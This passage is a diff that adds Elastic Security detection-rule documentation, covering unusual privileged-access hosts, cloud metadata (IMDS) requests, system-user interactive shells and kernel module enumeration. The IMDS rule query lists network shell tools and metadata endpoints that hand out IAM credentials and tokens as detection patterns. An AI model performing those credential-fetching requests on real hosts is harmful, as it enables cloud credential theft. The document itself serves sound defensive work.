if the host name has been used before or if it is indeed uncommon. +- Investigate the geographical location and IP address associated with the unusual host name to assess if it aligns with the user's typical access patterns. +- Examine any recent changes to the user's account, such as password resets or modifications to multi-factor authentication settings, to identify potential signs of compromise. +- Correlate the alert with other security logs and alerts to identify any related suspicious activities or patterns that could indicate a broader attack or insider threat. +- Contact the user to verify if they recognize the device and host name, and if they were performing the privileged operations at the time of the alert. +- If unauthorized access is confirmed, follow incident response procedures to secure the account, such as resetting credentials and reviewing access permissions. + + +*False positive analysis* + + +- Users accessing Okta from new or temporary devices may trigger false positives. Regularly update the list of approved devices to include these new devices if they are legitimate. +- Employees traveling or working remotely might use different devices or networks, causing alerts. Implement a process to verify and whitelist these devices when travel or remote work is expected. +- IT staff performing legitimate administrative tasks from shared or uncommon devices can be mistaken for threats. Maintain a log of such activities and cross-reference with alerts to identify and exclude these benign actions. +- Changes in device naming conventions or system upgrades can result in unusual host names. Ensure that any planned changes are communicated and documented to adjust the detection parameters accordingly. +- Regularly review and refine the machine learning model's training data to minimize false positives by incorporating feedback from security teams on legitimate activities that were incorrectly flagged. + + +*Response and remediation* + + +- Immediately isolate the device associated with the unusual host name from the network to prevent further unauthorized access or potential lateral movement. +- Revoke any active sessions and reset the credentials for the affected Okta account to prevent further unauthorized access. +- Conduct a thorough review of recent privileged operations performed by the affected account to identify any unauthorized changes or access. +- Notify the security operations team and relevant stakeholders about the potential compromise for further investigation and monitoring. +- Implement additional monitoring on the affected account and similar privileged accounts to detect any further suspicious activities. +- Review and update access controls and policies to ensure that only authorized devices can perform privileged operations in Okta. +- Consider enabling multi-factor authentication (MFA) for all privileged accounts to add an additional layer of security against unauthorized access. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Okta logs collected by integrations such as Okta. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Okta events collected by https://docs.elastic.co/en/integrations/okta[Okta] integration. +- To add the Okta integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-host-name-for-windows-privileged-operations-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-host-name-for-windows-privileged-operations-detected.asciidoc new file mode 100644 index 0000000000..01348dc83e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-host-name-for-windows-privileged-operations-detected.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-unusual-host-name-for-windows-privileged-operations-detected]] +=== Unusual Host Name for Windows Privileged Operations Detected + +A machine learning job has identified a user performing privileged operations in Windows from an uncommon device, indicating potential privileged access activity. This could signal a compromised account, an attacker using stolen credentials, or an insider threat leveraging an unauthorized device to escalate privileges. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Host Name for Windows Privileged Operations Detected* + + +Machine learning models analyze patterns of privileged operations in Windows environments to identify anomalies, such as access from uncommon devices. Adversaries may exploit stolen credentials or unauthorized devices to escalate privileges. This detection rule flags such anomalies, indicating potential threats like compromised accounts or insider attacks, by assessing deviations from typical host usage patterns. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific user and host involved in the unusual privileged operation. +- Check the historical login patterns for the user to determine if the host has been used previously or if this is a new occurrence. +- Investigate the host's identity and location to assess if it aligns with the user's typical access patterns or if it appears suspicious. +- Examine recent activity logs for the user and host to identify any other unusual or unauthorized actions that may indicate a broader compromise. +- Verify if there are any known vulnerabilities or security incidents associated with the host that could have facilitated unauthorized access. +- Contact the user to confirm whether they recognize the host and the privileged operations performed, ensuring to rule out legitimate use. + + +*False positive analysis* + + +- Users accessing systems from new or temporary devices, such as during travel or remote work, may trigger false positives. Regularly update the list of approved devices for users who frequently change their access points. +- IT administrators performing maintenance or updates from different machines can be mistaken for suspicious activity. Implement a process to log and approve such activities in advance to prevent unnecessary alerts. +- Employees using virtual machines or remote desktop services might appear as accessing from uncommon devices. Ensure these environments are recognized and whitelisted if they are part of regular operations. +- Changes in network infrastructure, such as new IP addresses or subnets, can lead to false positives. Keep the machine learning model updated with the latest network configurations to minimize these alerts. +- Temporary use of shared devices in collaborative workspaces can trigger alerts. Establish a protocol for logging shared device usage to differentiate between legitimate and suspicious activities. + + +*Response and remediation* + + +- Immediately isolate the affected device from the network to prevent further unauthorized access or lateral movement. +- Revoke or reset the credentials of the compromised account to prevent further misuse and unauthorized access. +- Conduct a thorough review of recent privileged operations performed by the affected account to identify any unauthorized changes or actions. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring on the affected account and device to detect any further suspicious activities. +- Review and update access controls and permissions to ensure that only authorized devices and users can perform privileged operations. +- Consider implementing multi-factor authentication (MFA) for privileged accounts to enhance security and prevent unauthorized access. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Windows logs collected by integrations such as Elastic Defend and Windows. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] and https://docs.elastic.co/en/integrations/windows[Windows] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Windows integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-instance-metadata-service-imds-api-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-instance-metadata-service-imds-api-request.asciidoc new file mode 100644 index 0000000000..0c1a672fbf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-instance-metadata-service-imds-api-request.asciidoc @@ -0,0 +1,239 @@ +[[prebuilt-rule-8-19-20-unusual-instance-metadata-service-imds-api-request]] +=== Unusual Instance Metadata Service (IMDS) API Request + +This rule identifies potentially malicious processes attempting to access the cloud service provider's instance metadata service (IMDS) API endpoint, which can be used to retrieve sensitive instance-specific information such as instance ID, public IP address, and even temporary security credentials if role's are assumed by that instance. The rule monitors for various tools and scripts like curl, wget, python, and perl that might be used to interact with the metadata API. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ +* https://www.wiz.io/blog/imds-anomaly-hunting-zero-day + +*Tags*: + +* Domain: Endpoint +* Domain: Cloud +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Instance Metadata Service (IMDS) API Request* + + +The Instance Metadata Service (IMDS) API provides essential instance-specific data, including configuration details and temporary credentials, to applications running on cloud instances. Adversaries exploit this by using scripts or tools to access sensitive data, potentially leading to unauthorized access. The detection rule identifies suspicious access attempts by monitoring specific processes and network activities, excluding known legitimate paths, to flag potential misuse. + + +*Possible investigation steps* + + +- Review the process details such as process.name and process.command_line to identify the tool or script used to access the IMDS API and determine if it aligns with known malicious behavior. +- Examine the process.executable and process.working_directory fields to verify if the execution path is unusual or suspicious, especially if it originates from directories like /tmp/* or /var/tmp/*. +- Check the process.parent.entity_id and process.parent.executable to understand the parent process and its legitimacy, which might provide context on how the suspicious process was initiated. +- Investigate the network event details, particularly the destination.ip field, to confirm if there was an attempted connection to the IMDS API endpoint at 169.254.169.254. +- Correlate the host.id with other security events or logs to identify any additional suspicious activities or patterns on the same host that might indicate a broader compromise. +- Assess the risk score and severity to prioritize the investigation and determine if immediate action is required to mitigate potential threats. + + +*False positive analysis* + + +- Security and monitoring tools like Rapid7, Nessus, and Amazon SSM Agent may trigger false positives due to their legitimate access to the IMDS API. Users can exclude these by adding their working directories to the exception list. +- Automated scripts or processes running from known directories such as /opt/rumble/bin or /usr/share/ec2-instance-connect may also cause false positives. Exclude these directories or specific executables from the rule to prevent unnecessary alerts. +- System maintenance or configuration scripts that access the IMDS API for legitimate purposes might be flagged. Identify these scripts and add their paths or parent executables to the exclusion list to reduce noise. +- Regular network monitoring tools that attempt connections to the IMDS IP address for health checks or status updates can be excluded by specifying their process names or executable paths in the exception criteria. + + +*Response and remediation* + + +- Immediately isolate the affected instance from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified in the alert that are attempting to access the IMDS API, especially those using tools like curl, wget, or python. +- Revoke any temporary credentials that may have been exposed or accessed through the IMDS API to prevent unauthorized use. +- Conduct a thorough review of the instance's security groups and IAM roles to ensure that only necessary permissions are granted and that there are no overly permissive policies. +- Escalate the incident to the security operations team for further investigation and to determine if additional instances or resources are affected. +- Implement network monitoring to detect and alert on any future attempts to access the IMDS API from unauthorized processes or locations. +- Review and update the instance's security configurations and apply any necessary patches or updates to mitigate vulnerabilities that could be exploited in similar attacks. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id with maxspan=3s +[ + process + where host.os.type == "linux" + and event.type == "start" + and event.action == "exec" + and process.parent.executable != null + + // common tooling / suspicious names (keep broad) + and ( + process.name : ( + "curl", "wget", "python*", "perl*", "php*", "ruby*", "lua*", "telnet", "pwsh", + "openssl", "nc", "ncat", "netcat", "awk", "gawk", "mawk", "nawk", "socat", "node", + "bash", "sh" + ) + or + // suspicious execution locations (dropped binaries / temp execution) + process.executable : ( + "./*", "/tmp/*", "/var/tmp/*", "/var/www/*", "/dev/shm/*", "/etc/init.d/*", "/etc/rc*.d/*", + "/etc/cron*", "/etc/update-motd.d/*", "/boot/*", "/srv/*", "/run/*", "/etc/rc.local" + ) + or + // threat-relevant IMDS / metadata endpoints (inclusion list) + process.command_line : ( + "*169.254.169.254/latest/api/token*", + "*169.254.169.254/latest/meta-data/iam/security-credentials*", + "*169.254.169.254/latest/meta-data/local-ipv4*", + "*169.254.169.254/latest/meta-data/local-hostname*", + "*169.254.169.254/latest/meta-data/public-ipv4*", + "*169.254.169.254/latest/user-data*", + "*169.254.169.254/latest/dynamic/instance-identity/document*", + "*169.254.169.254/latest/meta-data/instance-id*", + "*169.254.169.254/latest/meta-data/public-keys*", + "*computeMetadata/v1/instance/service-accounts/*/token*", + "*/metadata/identity/oauth2/token*", + "*169.254.169.254/opc/v*/instance*", + "*169.254.169.254/opc/v*/vnics*" + ) + ) + + // global working-dir / executable / parent exclusions for known benign agents + and not process.working_directory : ( + "/opt/rapid7*", + "/opt/nessus*", + "/snap/amazon-ssm-agent*", + "/var/snap/amazon-ssm-agent/*", + "/var/log/amazon/ssm/*", + "/srv/snp/docker/overlay2*", + "/opt/nessus_agent/var/nessus/*" + ) + + and not process.executable : ( + "/opt/rumble/bin/rumble-agent*", + "/opt/aws/inspector/bin/inspectorssmplugin", + "/snap/oracle-cloud-agent/*", + "/lusr/libexec/oracle-cloud-agent/*" + ) + + and not process.parent.executable : ( + "/usr/bin/setup-policy-routes", + "/usr/share/ec2-instance-connect/*", + "/var/lib/amazon/ssm/*", + "/etc/update-motd.d/30-banner", + "/usr/sbin/dhclient-script", + "/usr/local/bin/uwsgi", + "/usr/lib/skylight/al-extras", + "/usr/bin/cloud-init", + "/usr/sbin/waagent", + "/usr/bin/google_osconfig_agent", + "/usr/bin/docker", + "/usr/bin/containerd-shim", + "/usr/bin/runc" + ) + + and not process.entry_leader.executable : ( + "/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent", + "/opt/Elastic/Agent/data/elastic-agent-*/elastic-agent", + "/opt/nessus_agent/sbin/nessus-service" + ) + + // carve-out: safe /usr/bin/curl usage (suppress noisy, legitimate agent patterns) + and not ( + process.executable == "/usr/bin/curl" + and ( + // AWS IMDSv2 token PUT that includes ttl header + (process.command_line : "*-X PUT*169.254.169.254/latest/api/token*" and process.command_line : "*X-aws-ec2-metadata-token-ttl-seconds*") + or + // Any IMDSv2 GET that includes token header for any /latest/* path + process.command_line : "*-H X-aws-ec2-metadata-token:*169.254.169.254/latest/*" + or + // Common amazon tooling UA + process.command_line : "*-A amazon-ec2-net-utils/*" + or + // Azure metadata legitimate header + process.command_line : "*-H Metadata:true*169.254.169.254/metadata/*" + or + // Oracle IMDS legitimate header + process.command_line : "*-H Authorization:*Oracle*169.254.169.254/opc/*" + ) + ) +] +[ + network where host.os.type == "linux" + and event.action == "connection_attempted" + and destination.ip == "169.254.169.254" +] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-interactive-shell-launched-from-system-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-interactive-shell-launched-from-system-user.asciidoc new file mode 100644 index 0000000000..9975888fcc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-interactive-shell-launched-from-system-user.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-20-unusual-interactive-shell-launched-from-system-user]] +=== Unusual Interactive Shell Launched from System User + +This rule detects interactive shells launched from system users. System users typically do not require interactive shells, and their presence may indicate malicious activity. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Interactive Shell Launched from System User* + + +In Linux environments, system users are typically non-interactive and serve specific system functions. Adversaries may exploit these accounts to launch interactive shells, bypassing security measures and evading detection. The detection rule identifies such anomalies by monitoring process activities linked to system users, excluding legitimate processes, and flagging unexpected interactive shell launches, thus highlighting potential malicious activity. + + +*Possible investigation steps* + + +- Review the process details to identify the specific interactive shell that was launched, focusing on the process.interactive:true field. +- Examine the user.name field to determine which system user account was used to launch the shell and assess whether this account should have interactive shell access. +- Investigate the process.parent.executable and process.parent.name fields to understand the parent process that initiated the shell, checking for any unusual or unauthorized parent processes. +- Analyze the process.args field for any suspicious or unexpected command-line arguments that might indicate malicious intent. +- Cross-reference the event.timestamp with other security logs to identify any correlated activities or anomalies around the same time frame. +- Check for any recent changes or anomalies in the system user's account settings or permissions that could have facilitated the shell launch. +- Assess the risk and impact of the activity by considering the context of the system and the potential for further malicious actions. + + +*False positive analysis* + + +- System maintenance tasks may trigger interactive shells from system users like 'daemon' or 'systemd-timesync'. To handle these, review the specific maintenance scripts and add exceptions for known benign processes. +- Automated backup or update processes might launch interactive shells under system users such as 'backup' or 'apt'. Identify these processes and exclude them by adding their parent process names or arguments to the exception list. +- Some monitoring or logging tools may use system accounts like 'messagebus' or 'dbus' to execute interactive shells. Verify these tools and exclude their activities if they are legitimate and necessary for system operations. +- Custom scripts or applications running under system users for specific tasks could be misidentified. Document these scripts and add their process names to the exclusion criteria to prevent false alerts. +- In environments where certain system users are repurposed for non-standard tasks, ensure these tasks are documented and create exceptions for their associated processes to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious interactive shell sessions initiated by system users to halt potential malicious activities. +- Conduct a thorough review of the affected system's logs and processes to identify any additional indicators of compromise or unauthorized changes. +- Reset credentials for the compromised system user accounts and any other accounts that may have been accessed or affected. +- Implement stricter access controls and monitoring for system user accounts to prevent unauthorized interactive shell launches in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Update detection mechanisms and rules to enhance monitoring for similar threats, ensuring that any future attempts are quickly identified and addressed. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. + +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and user.name:( + daemon or bin or sys or sync or games or man or mail or news or uucp or proxy or backup or list or irc + or gnats or _apt or Debian-exim or systemd-timesync or messagebus or uuidd or _chrony or sshd or + gamer or shutdown or halt or dbus or polkitd or rtkit or pipewire or tcpdump or clevis or + libstoreagemgmt or geoclue or tss or sssd or gnome-initial-setup or pesign or dnsmasq or chrony +) and process.interactive:true and process.parent.executable:* and not ( + process.parent.name:( + apt-key or apt-config or gpgv or gpgconf or man-db.postinst or sendmail or rpm or nullmailer-inject + ) or + process.args:(/etc/apt/trusted.gpg.d/* or /tmp/apt-key-gpg* or "/usr/bin/dnf") or + process.name:(awk or apt-config or dpkg or grep or gpgv or sed) or + (user.name:_apt and process.name:(sqv or apt-key or gpgconf or sort or mktemp or find or cmp or gpg-connect-agent)) or + (user.name:man and process.name:mandb) or + (user.name:daemon and process.name:at) or + process.parent.args:("/usr/bin/apt-key" or "/var/lib/dpkg/info/man-db.postinst") or + process.parent.executable:( + "/usr/lib/polkit-1/polkitd" or "./runc" or "/usr/bin/apt-get" or "/opt/gitlab/embedded/bin/bundle" or "/run/podman-init" or + /tmp/newroot/* or /var/lib/docker/overlay2/* or /usr/libexec/platform-python* + ) or + process.parent.command_line:"runc init" or + process.executable:( + "/opt/gitlab/embedded/bin/bundle" or "/usr/bin/env" or "/usr/bin/readlink" or "/usr/bin/date" or "/usr/bin/dircolors" or + "/usr/sbin/sendmail" or "/usr/bin/atrm" or "/usr/bin/atq" or "/run/podman-init" or "/usr/bin/basename" or "/usr/bin/locale" or + "/usr/bin/tr" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Users +** ID: T1564.002 +** Reference URL: https://attack.mitre.org/techniques/T1564/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-kernel-module-enumeration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-kernel-module-enumeration.asciidoc new file mode 100644 index 0000000000..1882d0f7b7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-kernel-module-enumeration.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-20-unusual-kernel-module-enumeration]] +=== Unusual Kernel Module Enumeration + +Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. This identifies attempts to enumerate information about a kernel module. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Kernel Module Enumeration* + + +Loadable Kernel Modules (LKMs) enhance a Linux kernel's capabilities dynamically, without requiring a system reboot. Adversaries may exploit this by enumerating kernel modules to gather system information or identify vulnerabilities. The detection rule identifies suspicious enumeration activities by monitoring specific processes and arguments associated with module listing commands, while excluding benign parent processes to reduce false positives. + + +*Possible investigation steps* + + +- Review the process details in the alert to identify the specific command used for kernel module enumeration, such as lsmod, modinfo, kmod with list argument, or depmod with --all or -a arguments. +- Examine the process parent name to ensure it is not one of the benign processes listed in the exclusion criteria, such as mkinitramfs, dracut, or systemd, which could indicate a false positive. +- Investigate the user account associated with the process to determine if the activity aligns with expected behavior or if it might indicate unauthorized access. +- Check the timing and frequency of the enumeration activity to assess whether it is part of routine system operations or an anomaly that warrants further investigation. +- Correlate the alert with other security events or logs from the same host to identify any additional suspicious activities or patterns that could suggest a broader attack or compromise. + + +*False positive analysis* + + +- System maintenance tools like mkinitramfs and dracut may trigger the rule during legitimate operations. To handle this, ensure these processes are included in the exclusion list to prevent unnecessary alerts. +- Backup and recovery processes such as rear and casper can cause false positives when they interact with kernel modules. Verify these processes are part of the exclusion criteria to avoid misidentification. +- Disk management and storage tools like lvm2 and mdadm might enumerate kernel modules as part of their normal function. Add these to the exclusion list to reduce false positives. +- Virtualization and container management tools such as vz-start and overlayroot may also enumerate modules. Confirm these are excluded to maintain focus on genuine threats. +- Kernel update and management utilities like dkms and kernel-install can trigger alerts during updates. Ensure these are accounted for in the exclusion list to minimize false alarms. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, specifically those involving unauthorized use of lsmod, modinfo, kmod, or depmod commands. +- Conduct a thorough review of recent system logs and process execution history to identify any unauthorized access or changes made to the system. +- Restore the system from a known good backup if any unauthorized modifications to kernel modules or system files are detected. +- Update and patch the system to the latest security standards to mitigate any known vulnerabilities that could be exploited through kernel modules. +- Implement stricter access controls and monitoring for kernel module management, ensuring only authorized personnel can load or unload modules. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing 